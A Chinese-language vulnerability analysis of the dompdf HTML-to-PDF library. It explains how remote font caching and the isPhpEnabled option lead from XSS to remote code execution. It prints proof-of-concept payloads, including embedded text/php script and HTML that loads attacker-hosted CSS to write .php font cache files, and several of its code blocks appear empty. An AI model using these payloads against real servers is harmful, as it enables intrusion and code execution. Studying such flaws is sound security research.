0x00 简介
dompdf简介
一句话,主要功能就是讲html
转换成pdf
文档,下面是使用情况
Library | Stars | Forks | Dependent Repos |
---|---|---|---|
dompdf | 8.6k | 1.6k | 59.2k |
snappy | 4k | 421 | - |
mpdf | 3.5k | 886 | 16.6k |
tcpdf | 3.2k | 1.3k | 14.5k |
tc-lib-pdf | 1.2k | 180 | 85 |
漏洞简介
原作者连接:From XSS to RCE (dompdf 0day)
这里面主要提到了两个配置参数isPhpEnabled
和isRemoteEnabled
- 第一个主要就是用来解析
php
代码的 - 第二个是用来加载远程的文件的,比如img标签加载远程图片,link标签加载远程css
影响
正在使用dompdf
版本 ≤ 0.8.5
,或$isRemoteEnabled
设置为true
。
请注意,版本 ≤ 0.8.5
不需要$isRemoteEnabled
设置为易受攻击,
因为即使设置已停用,它们也会加载某些远程元素(例如字体)
具体影响版本是≤1.2.0
在1.2.1
中进行了修补,方式就是对生成的文件名进行了固定
0x01 环境搭建
这是使用composer安装
1 | composer require dompdf/dompdf |
安装完成之后就包含三个模块dompdf
、phenx
、sabberworm
测试代码
1 |
|
0x02 isPhpEnabled参数
首先看一下这个参数,参数的作用就是解析php代码的
实际情况中遇到的应该不多,就简单说一下
使用方式在参数上面有介绍
下面是解析的地方
最后会通过eval
执行代码
测试复现
当然这里为了直接在网页展示,注释了一块代码
这块代码在,会直接下载pdf
测试payload
1 | test=<html><body><script%20type="text/php">file_get_contents(%27http://127.0.0.1:7777/asdasda%27);</script><h1>aaaaa</h1></body></html> |
执行成功
0x03 isRemoteEnabled参数
相比之下,这个参数的可用度大大增加
加载一个远程的图片,或者link
标签加载一个远程的css
还是很正常的,不开启,就加载不上
在作者的原文中,实际上漏洞的原因就是允许加载远程的字体文件,进行缓存,但是在缓存的时候对后缀没有限制,导致加载的远程字体文件可以是php
后缀,造成了缓存漏洞
加载流程
首先进入在render
后进入了processHtml
方法,开始解析html
数据
我们用link
标签
从link
标签的href
中取出要加载的css
地址
到Stylesheet
类的load_css_file
方法中进行加载
这里会有是否允许远程加载的判断(这里目前未绕过去),获取到文件内容之后进行_parse_css
进行css
的解析
通过正则匹配,匹配出css的语法
这里重点关注的就是font-face
选项
下面再匹配到之后就要进入关键方法了
这里加载远程css方法共下面几个参数
font-family
font-weight
font-style
src:url
构造css代码,其实这里的font-weight
和font-style
,可以随意,没有影响
1 | @font-face { |
文件写入
首先看看存在几个写文件的地方
字体缓存索引
这里有一个可空参数就是font-family
,但是被转义了
图片缓存
后缀不可控
openFont
内容完全不可控
cache
内容为
当然这里依然会产生php文件,介绍一下流程
流程
方法被selectFont方法调用
在Text类中,当然很多类都有调用
那么这是个处理什么的标签呢
textarea
生成php的方式
首先通过加载远程css生成一个ufm文件,注意font-family
的值
1 | @font-face { |
会生成两个文件
1 | test=<html><link%20href="http://192.168.1.220:8220/a.css"%20rel="stylesheet"%20type="text/css"><body><h1>aaaaa</h1></body></html> |
修改a.css
1 | @font-face { |
注意url不要变动,这样md5就是一样的
通过textarea加载生成的字体,注意font-family
的值
1 | test=<h1>aaaa</h1><textarea%20rows="3"%20cols="20"%20style="font-family:%27test%27">aaaaaa</textarea><link%20href="http://192.168.1.220:8220/a.css"%20rel="stylesheet"%20type="text/css"> |
当然生成了个没啥用的文件。。
这里为接下来的优化提供了帮助
远程字体的缓存
这个也就上上面的url的地址
但是这里会对,加载的文件进行验证,绕过还是很简单的,只验证了部分字符
复现,修改css文件
在vendor\dompdf\dompdf\lib\fonts
目录下生成了缓存文件
test_normal_961b66a3ac2afd9ab8798ff94864d964.php
限制
- 开启远程加载,这个不是问题
- 存在xss,毕竟是转化html文档,可能性也不小
- dompdf 安装在可通过网络访问的目录中。例如,如果使用Composer将库安装在 docroot 内的某处而没有明确禁止访问该
vendor
文件夹,这点基本就不太可能了,尤其是在框架中
0x04 升级
我们需要一个文件包含
上面的两种写文件的方式完全可以结合
然后会存在一个文件包含的行为
这里需要注意的是最后写文件的时候是部分可控,并且在return后面
这个时候回忆font对文件的验证
被框住的两处是可以被利用的
复现
首先生成一个可控的ufm文件,第三处需要php大于7.4,因为调用了mb_str_split
方法
第一处的话存在编码问题,直接用第二处, 正好true是布尔类型
1 |
|
修改css文件
1 | @font-face { |
生成了文件
修改css文件
1 | @font-face { |
访问
1 | test=<h1>aaaa</h1><textarea%20rows="3"%20cols="20"%20style="font-family:%27test%27">aaaaaa</textarea><link%20href="http://192.168.1.220:8220/a.css"%20rel="stylesheet"%20type="text/css"> |
成功被包含,接收到了访问请求
0x05 end
至于远程的问题,暂时没看,在加载远程文件的问题上,使用的file_get_contents
可以触发反序列化,下篇分析